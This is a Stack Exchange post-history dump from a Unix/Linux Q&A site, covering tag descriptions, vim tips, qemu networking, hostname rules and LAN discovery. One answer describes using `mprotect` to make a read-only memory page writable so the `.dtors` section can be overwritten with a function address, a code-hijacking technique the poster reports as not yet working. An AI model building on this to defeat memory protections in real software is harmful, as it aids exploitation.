  <row Id="19020" PostHistoryTypeId="24" PostId="8072" RevisionGUID="1518e1bb-fc13-47c6-ba48-97c188e1cc82" CreationDate="2011-02-25T05:08:00.253" Comment="Proposed by 3635 approved by 73 edit id of 112" />
  <row Id="19021" PostHistoryTypeId="5" PostId="8070" RevisionGUID="533bd4c0-5eee-48a0-92b6-4efc35b2ed48" CreationDate="2011-02-25T05:08:04.933" UserId="3635" Comment="added 118 characters in body" Text="diff - Command-line tool to display the differences between two files, or each corresponding file in two directories. " />
  <row Id="19022" PostHistoryTypeId="24" PostId="8070" RevisionGUID="533bd4c0-5eee-48a0-92b6-4efc35b2ed48" CreationDate="2011-02-25T05:08:04.933" Comment="Proposed by 3635 approved by 73 edit id of 111" />
  <row Id="19023" PostHistoryTypeId="5" PostId="8082" RevisionGUID="62b9a284-6d21-4de0-8641-f0af6698ac2b" CreationDate="2011-02-25T05:08:07.850" UserId="3635" Comment="added 78 characters in body" Text="emacs - A class of text editors, usually characterized by their extensibility." />
  <row Id="19024" PostHistoryTypeId="24" PostId="8082" RevisionGUID="62b9a284-6d21-4de0-8641-f0af6698ac2b" CreationDate="2011-02-25T05:08:07.850" Comment="Proposed by 3635 approved by 73 edit id of 118" />
  <row Id="19025" PostHistoryTypeId="5" PostId="8064" RevisionGUID="f3f451a4-6075-4eb3-8f3a-d91d68710906" CreationDate="2011-02-25T05:08:12.517" UserId="3635" Comment="added 67 characters in body" Text="Grub is a modern boot loader installed by most linux distributions." />
  <row Id="19026" PostHistoryTypeId="24" PostId="8064" RevisionGUID="f3f451a4-6075-4eb3-8f3a-d91d68710906" CreationDate="2011-02-25T05:08:12.517" Comment="Proposed by 3635 approved by 73 edit id of 107" />
  <row Id="19027" PostHistoryTypeId="5" PostId="8076" RevisionGUID="c42c359c-c91f-463e-acb2-96de4674c601" CreationDate="2011-02-25T05:08:24.997" UserId="3635" Comment="added 38 characters in body" Text="mv - Command-line tool to move a file." />
  <row Id="19028" PostHistoryTypeId="24" PostId="8076" RevisionGUID="c42c359c-c91f-463e-acb2-96de4674c601" CreationDate="2011-02-25T05:08:24.997" Comment="Proposed by 3635 approved by 73 edit id of 114" />
  <row Id="19029" PostHistoryTypeId="5" PostId="8094" RevisionGUID="f360ae2f-cdcb-42ab-8d34-177ee9c20a9a" CreationDate="2011-02-25T05:08:28.320" UserId="3635" Comment="added 73 characters in body" Text="An open source telnet and SSH Client for the Windows and Unix platforms. " />
  <row Id="19030" PostHistoryTypeId="24" PostId="8094" RevisionGUID="f360ae2f-cdcb-42ab-8d34-177ee9c20a9a" CreationDate="2011-02-25T05:08:28.320" Comment="Proposed by 3635 approved by 73 edit id of 124" />
  <row Id="19031" PostHistoryTypeId="5" PostId="8079" RevisionGUID="460f3c69-898a-4bf3-ab0b-fa6567440aec" CreationDate="2011-02-25T05:08:31.580" UserId="3635" Comment="added 93 characters in body" Text="For more information please see the [official website][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.python.org/" />
  <row Id="19032" PostHistoryTypeId="24" PostId="8079" RevisionGUID="460f3c69-898a-4bf3-ab0b-fa6567440aec" CreationDate="2011-02-25T05:08:31.580" Comment="Proposed by 3635 approved by 73 edit id of 116" />
  <row Id="19033" PostHistoryTypeId="5" PostId="8080" RevisionGUID="e3d3bba6-cb97-48e6-9c42-1448431cc09b" CreationDate="2011-02-25T05:08:33.513" UserId="3635" Comment="added 32 characters in body" Text="The python programming language." />
  <row Id="19034" PostHistoryTypeId="24" PostId="8080" RevisionGUID="e3d3bba6-cb97-48e6-9c42-1448431cc09b" CreationDate="2011-02-25T05:08:33.513" Comment="Proposed by 3635 approved by 73 edit id of 117" />
  <row Id="19035" PostHistoryTypeId="5" PostId="8084" RevisionGUID="213a9b9c-8d95-4536-8e4a-9d5a99e38aff" CreationDate="2011-02-25T05:08:37.447" UserId="3635" Comment="added 24 characters in body" Text="Red Hat Enterprise Linux" />
  <row Id="19036" PostHistoryTypeId="24" PostId="8084" RevisionGUID="213a9b9c-8d95-4536-8e4a-9d5a99e38aff" CreationDate="2011-02-25T05:08:37.447" Comment="Proposed by 3635 approved by 73 edit id of 119" />
  <row Id="19037" PostHistoryTypeId="5" PostId="8086" RevisionGUID="03606f19-bd0b-4661-8bc3-975199af54ab" CreationDate="2011-02-25T05:08:39.630" UserId="3635" Comment="added 94 characters in body" Text="RPM Package Manager is a package management system intended primarily for Linux distributions." />
  <row Id="19038" PostHistoryTypeId="24" PostId="8086" RevisionGUID="03606f19-bd0b-4661-8bc3-975199af54ab" CreationDate="2011-02-25T05:08:39.630" Comment="Proposed by 3635 approved by 73 edit id of 120" />
  <row Id="19039" PostHistoryTypeId="5" PostId="8088" RevisionGUID="076b828e-184c-44c2-b449-286fed281f66" CreationDate="2011-02-25T05:08:42.717" UserId="3635" Comment="added 71 characters in body" Text="sed - A command-line stream editor for filtering and transforming text." />
  <row Id="19040" PostHistoryTypeId="24" PostId="8088" RevisionGUID="076b828e-184c-44c2-b449-286fed281f66" CreationDate="2011-02-25T05:08:42.717" Comment="Proposed by 3635 approved by 73 edit id of 121" />
  <row Id="19041" PostHistoryTypeId="5" PostId="8065" RevisionGUID="96ee8336-433a-426d-b771-d521ececd9b1" CreationDate="2011-02-25T05:08:48.803" UserId="3635" Comment="added 140 characters in body" Text="FAQ&#xD;&#xA;---&#xD;&#xA;[Why do we use su - and not just su?][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/7013/why-do-we-use-su-and-not-just-su" />
  <row Id="19042" PostHistoryTypeId="24" PostId="8065" RevisionGUID="96ee8336-433a-426d-b771-d521ececd9b1" CreationDate="2011-02-25T05:08:48.803" Comment="Proposed by 3635 approved by 73 edit id of 108" />
  <row Id="19043" PostHistoryTypeId="5" PostId="8066" RevisionGUID="b9d2b19f-3357-4bf8-af06-79337ec41dec" CreationDate="2011-02-25T05:08:51.423" UserId="3635" Comment="added 71 characters in body" Text="su - Substitute user identity; used to run a shell as a different user." />
  <row Id="19044" PostHistoryTypeId="24" PostId="8066" RevisionGUID="b9d2b19f-3357-4bf8-af06-79337ec41dec" CreationDate="2011-02-25T05:08:51.423" Comment="Proposed by 3635 approved by 73 edit id of 109" />
  <row Id="19045" PostHistoryTypeId="5" PostId="8090" RevisionGUID="2523ee24-c9ae-4ec1-ab0d-42200c1a3344" CreationDate="2011-02-25T05:08:55.480" UserId="3635" Comment="added 43 characters in body" Text="svn - A centralized version control system." />
  <row Id="19046" PostHistoryTypeId="24" PostId="8090" RevisionGUID="2523ee24-c9ae-4ec1-ab0d-42200c1a3344" CreationDate="2011-02-25T05:08:55.480" Comment="Proposed by 3635 approved by 73 edit id of 122" />
  <row Id="19047" PostHistoryTypeId="5" PostId="8061" RevisionGUID="3fe8ff43-9ea9-4bf4-8833-b8b28cbcfa57" CreationDate="2011-02-25T05:09:00.457" UserId="3635" Comment="added 88 characters in body" Text="Universal Serial Bus (USB) establishes a connection between devices and a host computer." />
  <row Id="19048" PostHistoryTypeId="24" PostId="8061" RevisionGUID="3fe8ff43-9ea9-4bf4-8833-b8b28cbcfa57" CreationDate="2011-02-25T05:09:00.457" Comment="Proposed by 3635 approved by 73 edit id of 106" />
  <row Id="19049" PostHistoryTypeId="5" PostId="8068" RevisionGUID="ae105d94-31e6-4a01-b99e-6bb8b94e33df" CreationDate="2011-02-25T05:09:02.827" UserId="3635" Comment="added 52 characters in body" Text="vi - Editor installed on just about any Unix system." />
  <row Id="19050" PostHistoryTypeId="24" PostId="8068" RevisionGUID="ae105d94-31e6-4a01-b99e-6bb8b94e33df" CreationDate="2011-02-25T05:09:02.827" Comment="Proposed by 3635 approved by 73 edit id of 110" />
  <row Id="19051" PostHistoryTypeId="5" PostId="8096" RevisionGUID="b9b985a5-26a5-4dde-81b5-467b1a9bbd66" CreationDate="2011-02-25T05:09:06.227" UserId="3635" Comment="added 118 characters in body" Text="Virtual Network Computing (VNC) is a graphical desktop sharing system that can be used to control a computer remotely." />
  <row Id="19052" PostHistoryTypeId="24" PostId="8096" RevisionGUID="b9b985a5-26a5-4dde-81b5-467b1a9bbd66" CreationDate="2011-02-25T05:09:06.227" Comment="Proposed by 3635 approved by 73 edit id of 125" />
  <row Id="19053" PostHistoryTypeId="25" PostId="8101" RevisionGUID="7f5e20c6-c158-4fc1-be61-2d5a21050e23" CreationDate="2011-02-25T05:23:24.213" Comment="http://twitter.com/#!/StackUnix/status/41005318125129729" />
  <row Id="19054" PostHistoryTypeId="2" PostId="8104" RevisionGUID="163294c5-c265-47ee-a403-2ab210bc866f" CreationDate="2011-02-25T05:33:37.257" UserId="4667" Text="`:r!date +\%c`&#xD;&#xA;&#xD;&#xA;see `:help :r!`" />
  <row Id="19055" PostHistoryTypeId="5" PostId="8044" RevisionGUID="897cfafe-57a2-4368-a846-f842b091ffdb" CreationDate="2011-02-25T05:47:49.363" UserId="4477" Comment="ports fixed" Text="You should be able to use the user-mode networking stack. Start qemu like this:&#xD;&#xA;&#xD;&#xA;    qemu-system-x86_64 \&#xD;&#xA;        -smp 1 -m 1024 \&#xD;&#xA;        -net user,net=10.0.0.0/8,host=10.0.0.1,hostfwd=tcp:127.0.0.1:2222-10.0.0.2:22 \&#xD;&#xA;        -net nic \&#xD;&#xA;        -cdrom systemrescuecd-x86-2.0.1.iso -boot d&#xD;&#xA;&#xD;&#xA;The important options:&#xD;&#xA;&#xD;&#xA; * `-net nic`: Show a virtual network card for the guest&#xD;&#xA; *  `-net user`: Make the qemu process on the host communicate over the real network just like any other process would&#xD;&#xA; * `net=10.0.0.0/8`: The subnet on the virtual network&#xD;&#xA; * `host=10.0.0.1`: The host IP address on the virtual network&#xD;&#xA; * `hostfwd=tcp:127.0.0.1:2222-10.0.0.2:22`: The qemu process on the host listens for TCP connections from localhost on port 2222 and forwards them to the virtual network to 10.0.0.2:22 (so you can ssh to your new virtual machine)&#xD;&#xA;&#xD;&#xA;On the guest run&#xD;&#xA;&#xD;&#xA;    ifconfig eth0 10.0.0.2 up&#xD;&#xA;    ip route add default via 10.0.0.1 dev eth0&#xD;&#xA;&#xD;&#xA;Test SSH from host to guest&#xD;&#xA;    &#xD;&#xA;    ssh 127.0.0.1 -p 2222&#xD;&#xA;&#xD;&#xA;and from guest to host&#xD;&#xA;&#xD;&#xA;    ssh 10.0.0.1&#xD;&#xA;&#xD;&#xA;Test the internet reachability from the guest&#xD;&#xA;&#xD;&#xA;    wget google.com&#xD;&#xA;&#xD;&#xA;The host process works like a NAT router. Only TCP and UDP traffic will work. In particular ping only works between the guest and the host you can't ping google.com (my usual network testing method). The advantage of this approach is that you don't even need root privileges." />
  <row Id="19056" PostHistoryTypeId="2" PostId="8105" RevisionGUID="fb1516c3-9253-480c-b820-ffe1544bea23" CreationDate="2011-02-25T06:11:05.500" UserId="3879" Text="[Dia][1] is a good one. It lets you draw different kind of diagrams including flowcharts, UML diagrams, ERD, network graphs and so on.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://live.gnome.org/Dia" />
  <row Id="19057" PostHistoryTypeId="2" PostId="8106" RevisionGUID="692f592d-cc6d-44e5-b06e-11240f333d8e" CreationDate="2011-02-25T06:12:39.020" UserId="73" Text="I can tell why it's failing, although I don't actually know what part of the system is responsible. While `.dtors` is marked writable in the binary, it looks like it (along with `.ctors`, the GOT, and a few other things) are being mapped into a separate, non-writable page in memory. On my system, `.dtors` is getting put at `0x8049f14`:&#xD;&#xA;&#xD;&#xA;    $ readelf -S test&#xD;&#xA;      [17] .ctors            PROGBITS        08049f0c 000f0c 000008 00  WA  0   0  4&#xD;&#xA;      [18] .dtors            PROGBITS        08049f14 000f14 000008 00  WA  0   0  4&#xD;&#xA;      [19] .jcr              PROGBITS        08049f1c 000f1c 000004 00  WA  0   0  4&#xD;&#xA;      [20] .dynamic          DYNAMIC         08049f20 000f20 0000d0 08  WA  6   0  4&#xD;&#xA;      [21] .got              PROGBITS        08049ff0 000ff0 000004 04  WA  0   0  4&#xD;&#xA;      [22] .got.plt          PROGBITS        08049ff4 000ff4 00001c 04  WA  0   0  4&#xD;&#xA;      [23] .data             PROGBITS        0804a010 001010 000008 00  WA  0   0  4&#xD;&#xA;      [24] .bss              NOBITS          0804a018 001018 000008 00  WA  0   0  4&#xD;&#xA;&#xD;&#xA;If I run the executable and check `/proc/PID/maps`, I see:&#xD;&#xA;&#xD;&#xA;    08048000-08049000 r-xp 00000000 08:02 163678     /tmp/test&#xD;&#xA;    08049000-0804a000 r--p 00000000 08:02 163678     /tmp/test&#xD;&#xA;    0804a000-0804b000 rw-p 00001000 08:02 163678     /tmp/test&#xD;&#xA;&#xD;&#xA;`.data`/`.bss` are still writable in their own page, but the others in `0x8049000-0x804a000` aren't. I assume this is a security feature in the kernel (as you said, &quot;there has been a movement toward readonly .dtors, plt, got lately&quot;), but I don't know specifically what it's called (OpenBSD has something very similar called [W^X](http://en.wikipedia.org/wiki/W%5EX); Linux has [PaX](http://en.wikipedia.org/wiki/PaX), but not built into most kernels)&#xD;&#xA;&#xD;&#xA;You can get around it with `mprotect`, which lets you change the in-memory attributes of a page:&#xD;&#xA;&#xD;&#xA;    mprotect((void*)0x8049000, 4096, PROT_WRITE);&#xD;&#xA;&#xD;&#xA;With that, my test program doesn't crash, but if I try to overwrite the end sentinel of `.dtors` (`0x8049f18`) with the address of another function, that function still doesn't execute; that part I can't figure out.&#xD;&#xA;&#xD;&#xA;Hopefully somebody else knows what's responsible for making the page readonly, and why modifying `.dtors` doesn't seem to do anything on my system" />
  <row Id="19058" PostHistoryTypeId="2" PostId="8107" RevisionGUID="4715175c-4575-4459-a967-66e65864b207" CreationDate="2011-02-25T06:14:05.407" UserId="5107" Text="I put together a cheatsheet for myself some time ago: http://nakedape.cc/wiki/PackageManagerCheatsheet&#xD;&#xA;&#xD;&#xA;There are of course many more, but these are the ones I have to deal with most." />
  <row Id="19059" PostHistoryTypeId="2" PostId="8108" RevisionGUID="cd35ffd5-796c-4789-8483-44e7e6d317fc" CreationDate="2011-02-25T07:09:50.057" UserId="2783" Text="These commands will insert the output of `strftime(&quot;%c&quot;)` right where your cursor is:&#xD;&#xA;&#xD;&#xA;    :exe &quot;:normal i&quot; . strftime(&quot;%c&quot;)&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    :call feedkeys(&quot;i&quot;. strftime(&quot;%c&quot;))&#xD;&#xA;&#xD;&#xA;There are other ways to do what you want (like, for example, those on [Mikel's answer](http://unix.stackexchange.com/questions/8101/in-vimhow-to-insert-the-result-of-a-command-into-the-text/8102#8102)).&#xD;&#xA;" />
  <row Id="19060" PostHistoryTypeId="2" PostId="8109" RevisionGUID="2f95dfcc-648f-418d-9124-5e810e4d29fe" CreationDate="2011-02-25T07:11:35.907" UserId="1107" Text="You can use the [expression register, `&quot;=`,](http://vimdoc.sourceforge.net/htmldoc/change.html#quote=) with [`p` (or `P`)](http://vimdoc.sourceforge.net/htmldoc/change.html#p) in normal mode or [`&lt;C-R&gt;`](http://vimdoc.sourceforge.net/htmldoc/insert.html#i_CTRL-R) in insert mode:&#xD;&#xA;&#xD;&#xA;In normal mode:  &#xD;&#xA;&lt;sub&gt;(`&lt;C-M&gt;` here means &lt;kbd&gt;Control&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt;, or just press &lt;kbd&gt;Enter&lt;/kbd&gt;/&lt;kbd&gt;Return&lt;/kbd&gt;)&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;    &quot;=strftime('%c')&lt;C-M&gt;p&#xD;&#xA;&#xD;&#xA;In insert mode:  &#xD;&#xA;&lt;sub&gt;(`&lt;C-M&gt;` has the same meaning as above, `&lt;C-R&gt;` means &lt;kbd&gt;Control&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;)&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;    &lt;C-R&gt;=strftime('%c')&lt;C-M&gt;&#xD;&#xA;&#xD;&#xA;If you want to insert the result of the same expression many times, then you might want to map them onto keys in your `.vimrc`:  &#xD;&#xA;&lt;sub&gt;(here the `&lt;C-M&gt;` and `&lt;C-R&gt;` should be typed literally (a sequence of five printable characters—Vim will translate them internally))&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;    :nmap &lt;F2&gt; &quot;=strftime('%c')&lt;C-M&gt;p&#xD;&#xA;    :imap &lt;F2&gt; &lt;C-R&gt;=strftime('%c')&lt;C-M&gt;&#xD;&#xA;" />
  <row Id="19061" PostHistoryTypeId="5" PostId="8108" RevisionGUID="fc9e99b7-ff39-4e2e-90a5-942894c125fa" CreationDate="2011-02-25T07:41:37.380" UserId="2783" Comment="added 211 characters in body" Text="These commands will insert the output of `strftime(&quot;%c&quot;)` right where your cursor is:&#xD;&#xA;&#xD;&#xA;    :exe &quot;:normal i&quot; . strftime(&quot;%c&quot;)&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    :call feedkeys(&quot;i&quot;. strftime(&quot;%c&quot;))&#xD;&#xA;&#xD;&#xA;There are other ways to do what you want (like, for example, those on [Mikel's answer](http://unix.stackexchange.com/questions/8101/in-vimhow-to-insert-the-result-of-a-command-into-the-text/8102#8102)).&#xD;&#xA;&#xD;&#xA;**Edit**: Even better, for in-place insert, use the `=` register as [Chris Johnsen describes](http://unix.stackexchange.com/questions/8101/in-vimhow-to-insert-the-result-of-a-command-into-the-text/8109#8109)&#xD;&#xA;" />
  <row Id="19062" PostHistoryTypeId="25" PostId="8097" RevisionGUID="54ad8c0a-f089-485e-b198-857dca2cca56" CreationDate="2011-02-25T08:23:24.540" Comment="http://twitter.com/#!/StackUnix/status/41050617199865856" />
  <row Id="19063" PostHistoryTypeId="2" PostId="8110" RevisionGUID="dfde6000-895f-4ad6-8052-22b9d3bde720" CreationDate="2011-02-25T08:30:36.403" UserId="688" Text="[Synaptic][1], a GUI package manager, displays the count at the bottom of its main window.&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.debian.org/squeeze/synaptic&#xD;&#xA;  [2]: http://i.imgur.com/uMEgh.png" />
  <row Id="19064" PostHistoryTypeId="4" PostId="7940" RevisionGUID="a7a23241-6d16-4e27-b156-faeee752f364" CreationDate="2011-02-25T08:52:39.810" UserId="688" Comment="edited title" Text="I'm failing to restore a VirtualBox VM" />
  <row Id="19065" PostHistoryTypeId="5" PostId="7941" RevisionGUID="ea28ac0f-b7a3-4731-b02b-b34ef025992f" CreationDate="2011-02-25T08:57:11.313" UserId="688" Comment="added 15 characters in body" Text="If I understand the situation correctly, then it's quite a severe situation. VirtualBox snapshots are incremental, so later ones depends on earlier ones. When you delete one snapshot VirtualBox does some processing to &quot;merge&quot; the snapshots, that's why it's not very fast to delete a snapshot.&#xD;&#xA;&#xD;&#xA;I haven't tried it, but VirtualBox shouldn't let you delete snapshots while the virtual machine is running. In case you somehow managed to do it, I think all hope is lost. I hope you can restore the machine to an earlier snapshot." />
  <row Id="19066" PostHistoryTypeId="5" PostId="7940" RevisionGUID="5ba09044-7b38-414c-a818-8a63f8b9843b" CreationDate="2011-02-25T09:17:08.070" UserId="688" Comment="added 159 characters in body" Text="I am trying to restore a VM but I get this error message:&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;I think this happened because, while the VM was live, I removed one snapshot.&#xD;&#xA;&#xD;&#xA;How do I fix this, short of restoring older snapshots?&#xD;&#xA;&#xD;&#xA;**NOTE**: This problem happens when I use version **4.0.4**. Version **3.2.10** allows me to delete a snapshot of a VM, even though it's live. I guess it's a regression... watch me downgrading.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/SOuax.png" />
  <row Id="19067" PostHistoryTypeId="2" PostId="8111" RevisionGUID="3c3cea23-dbd9-4b26-ac69-89df1923ab11" CreationDate="2011-02-25T09:17:53.483" UserId="1952" Text="For UML and DB Diagrams, you could use UMLet." />
  <row Id="19068" PostHistoryTypeId="2" PostId="8112" RevisionGUID="54f968b8-18a3-4fbd-bf7a-62fe33f4125d" CreationDate="2011-02-25T09:37:24.853" UserId="1466" Text="Kivio, as the name kinda implies, is KDE's competitor to Visio." />
  <row Id="19069" PostHistoryTypeId="5" PostId="8112" RevisionGUID="30865a2c-35ce-4171-b206-2ed606f3fa3d" CreationDate="2011-02-25T09:42:55.347" UserId="1466" Comment="added 320 characters in body" Text="[Kivio][1], as the name kinda implies, is KDE's competitor to Visio. It is a part of the [KOffice][2] suite.&#xD;&#xA;&#xD;&#xA;Note: KOffice, as well as some of its applications were recently renamed. KOffice is now called *Calligra Suite* and Kivio is called *Calligra Flow*. However, there has not yet been a release since the rename.&#xD;&#xA;  [1]: http://KOffice.Org/kivio/&#xD;&#xA;  [2]: http://KOffice.Org/" />
  <row Id="19070" PostHistoryTypeId="2" PostId="8113" RevisionGUID="f311fc33-19f5-4c7f-919e-3d93e4532746" CreationDate="2011-02-25T09:55:11.893" UserId="688" Text="I have a bunch of VirtualBox VMs (Linux and Windows) and would like to know how to transfer any of them to the metal." />
  <row Id="19071" PostHistoryTypeId="1" PostId="8113" RevisionGUID="f311fc33-19f5-4c7f-919e-3d93e4532746" CreationDate="2011-02-25T09:55:11.893" UserId="688" Text="How to transfer a VirtualBox OSE VM to the metal" />
  <row Id="19072" PostHistoryTypeId="3" PostId="8113" RevisionGUID="f311fc33-19f5-4c7f-919e-3d93e4532746" CreationDate="2011-02-25T09:55:11.893" UserId="688" Text="évirtualömachineà" />
  <row Id="19073" PostHistoryTypeId="2" PostId="8114" RevisionGUID="d0d4c428-3b7c-4a3d-955c-93e7a3ffc88e" CreationDate="2011-02-25T10:04:07.770" UserId="5027" Text="You can find all the open source alternatives to visio here http://www.osalt.com/visio and any other equivalent for a commercial software " />
  <row Id="19074" PostHistoryTypeId="6" PostId="8113" RevisionGUID="634cb1c9-0a6e-407a-929c-47ca4765abe3" CreationDate="2011-02-25T10:04:13.627" UserId="688" Comment="edited tags" Text="évirtualboxà" />
  <row Id="19075" PostHistoryTypeId="2" PostId="8115" RevisionGUID="8d51575a-dfc6-4125-a9cd-29f0936f54e1" CreationDate="2011-02-25T10:34:24.153" UserId="688" Text="During Debian installation, I set my hostname to the wrong value, and now I would like to correct that." />
  <row Id="19076" PostHistoryTypeId="1" PostId="8115" RevisionGUID="8d51575a-dfc6-4125-a9cd-29f0936f54e1" CreationDate="2011-02-25T10:34:24.153" UserId="688" Text="How to change a hostname" />
  <row Id="19077" PostHistoryTypeId="3" PostId="8115" RevisionGUID="8d51575a-dfc6-4125-a9cd-29f0936f54e1" CreationDate="2011-02-25T10:34:24.153" UserId="688" Text="édebianàéhostnameà" />
  <row Id="19078" PostHistoryTypeId="2" PostId="8116" RevisionGUID="f5f93adb-3cb9-4183-922e-df54bd90d2ce" CreationDate="2011-02-25T10:40:39.777" UserId="2780" Text="The value is stored in `/etc/hostname`. After modifying, apply it with `/etc/init.d/hostname start`" />
  <row Id="19079" PostHistoryTypeId="2" PostId="8117" RevisionGUID="f9b710c2-2b5a-4d3d-8c5b-09c577c03df6" CreationDate="2011-02-25T11:02:55.060" UserId="688" Text="I set up my hostname to a number, where running `hostname` gives:&#xD;&#xA;&#xD;&#xA;    6592&#xD;&#xA;&#xD;&#xA;But when I run `ping 6592`, I get:&#xD;&#xA;&#xD;&#xA;    connect: Invalid argument&#xD;&#xA;&#xD;&#xA;I checked the related [Wikipedia page][1], and it does say that such a hostname is allowed (IIUC). What am I missing?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Hostname#Restrictions_on_valid_host_names" />
  <row Id="19080" PostHistoryTypeId="1" PostId="8117" RevisionGUID="f9b710c2-2b5a-4d3d-8c5b-09c577c03df6" CreationDate="2011-02-25T11:02:55.060" UserId="688" Text="What is a valid hostname label?" />
  <row Id="19081" PostHistoryTypeId="3" PostId="8117" RevisionGUID="f9b710c2-2b5a-4d3d-8c5b-09c577c03df6" CreationDate="2011-02-25T11:02:55.060" UserId="688" Text="éhostnameà" />
  <row Id="19082" PostHistoryTypeId="2" PostId="8118" RevisionGUID="bcb0ee1a-1e24-43b4-b3f3-1d2ecf79aecf" CreationDate="2011-02-25T11:23:11.297" UserId="688" Text="How can I see a list of all machines that are available on the LAN I'm am part of." />
  <row Id="19083" PostHistoryTypeId="1" PostId="8118" RevisionGUID="bcb0ee1a-1e24-43b4-b3f3-1d2ecf79aecf" CreationDate="2011-02-25T11:23:11.297" UserId="688" Text="How to find what other machines are connected to the local network" />
  <row Id="19084" PostHistoryTypeId="3" PostId="8118" RevisionGUID="bcb0ee1a-1e24-43b4-b3f3-1d2ecf79aecf" CreationDate="2011-02-25T11:23:11.297" UserId="688" Text="énetworkingà" />
  <row Id="19085" PostHistoryTypeId="25" PostId="8115" RevisionGUID="78bb6a7d-4ac1-4cda-b0a8-5fece8f18ff2" CreationDate="2011-02-25T11:23:24.457" Comment="http://twitter.com/#!/StackUnix/status/41095915733393408" />
  <row Id="19086" PostHistoryTypeId="6" PostId="7460" RevisionGUID="76fbc39b-6e56-4b12-ac0a-c9830dc9e4d8" CreationDate="2011-02-25T11:23:25.820" UserId="688" Comment="edited tags" Text="énetworkingàéfilesystemsà" />
  <row Id="19087" PostHistoryTypeId="2" PostId="8119" RevisionGUID="b29f3b48-07ff-4139-9191-31033c1d42c2" CreationDate="2011-02-25T11:31:00.627" UserId="3082" Text="Install [nmap][1] and run run `nmap -sP &lt;mynetwork&gt;`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://nmap.org/" />
  <row Id="19088" PostHistoryTypeId="5" PostId="7392" RevisionGUID="c65df3ab-7840-401d-8c37-1580b7311787" CreationDate="2011-02-25T11:56:40.490" UserId="3389" Comment="added 86 characters in body" Text="My take on Unix/Linux filename conventions:&#xD;&#xA;&#xD;&#xA;- Unix/Linux filesystems don't inherently support the notion of an extension.  The concept of a file extension completely exists as something supported by utilities such as `cp`, `ls`, or the shell you are using.  I believe it is this way on NTFS as well, but I could be wrong.&#xD;&#xA;&#xD;&#xA;- Executables, including shell scripts, usually never have any type of extension.  Scripts will have a hashbang line (i.e. `#!/bin/bash`) that identifies what program should interpret it.&#xD;&#xA;- Any executable that is two letters long is super important.  So don't name your executables two-letter filenames.  Any file in `/etc` ending in `tab` is also super important, such as `fstab`, `mtab`, `inittab`.&#xD;&#xA;- Sometimes `.d` is appended to directory names, particularly in `/etc`, but this isn't widespread (UPDATE: http://serverfault.com/questions/240181/what-does-the-suffix-d-mean-in-linux)&#xD;&#xA;- `rc` is widely used for configuration scripts or files, either prepending (e.g., `rc.local`) or suffixing (`.vimrc`)&#xD;&#xA;- The Unix/Linux community has never had a three-character limit on extensions and frowns upon shortening well know extensions to fit.  For example, don't use `.htm` at the end of HTML files on Unix/Linux, use `.html`.&#xD;&#xA;- In a set of files, a filename is sometimes capitalized, or in all caps, so it appears at the head of a directory listing.  The classic example is `Makefile` in source packages.  Only do this for stuff like `README`.&#xD;&#xA;- `~` is used to identify a backup file or a directory, as in `important_stuff~`, or `/etc~`.  Many shells will expand a lone `~` to `$HOME`.  &#xD;&#xA;- Library files almost always begin with `lib`.  Exception is `zlib` and probably a few others.&#xD;&#xA;- Scripts that are called by inetd sometimes are tagged with a leading `in.`, such as `in.tftpd`.&#xD;&#xA;- The ending z in `vmlinuz` means zipped, but I've never seen any other file named this way." />
  <row Id="19089" PostHistoryTypeId="2" PostId="8120" RevisionGUID="64db45af-5d39-44f4-ad88-1cd5a8415b10" CreationDate="2011-02-25T11:58:02.300" UserId="2827" Text="&#xD;&#xA;Well, not exactly...  What Wikipedia, and in turn the RFCs say is that since the original [RFC 952][1], which didn't allow leading numerics, you can now have them. ( Per [RFC 1123][2] ) You still can't have *all* numeric though, which is your problem.  &#xD;&#xA;&#xD;&#xA;Your '6952' isn't a valid hostname, while '6952x' should be fine.  But, RFCs aside, I've had problems within the last year or so with leading numerics.  I'd avoid them, unless there's a compelling reason not to.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.ietf.org/html/rfc952 &quot;RFC 952&quot;&#xD;&#xA;  [2]: http://tools.ietf.org/html/rfc1123#page-13 &quot;RFC 1123&quot;" />
  <row Id="19090" PostHistoryTypeId="2" PostId="8121" RevisionGUID="f5e1c0f8-8680-4f35-8eb7-7397884b3a33" CreationDate="2011-02-25T13:01:07.143" UserId="5113" Text="I have 8 Gb long log file (Rails production log), and I need to cut part between some dates (lines). Which command i have to use, to do this? " />
  <row Id="19091" PostHistoryTypeId="1" PostId="8121" RevisionGUID="f5e1c0f8-8680-4f35-8eb7-7397884b3a33" CreationDate="2011-02-25T13:01:07.143" UserId="5113" Text="How to cut part from log file?" />
  <row Id="19092" PostHistoryTypeId="3" PostId="8121" RevisionGUID="f5e1c0f8-8680-4f35-8eb7-7397884b3a33" CreationDate="2011-02-25T13:01:07.143" UserId="5113" Text="élogsà" />
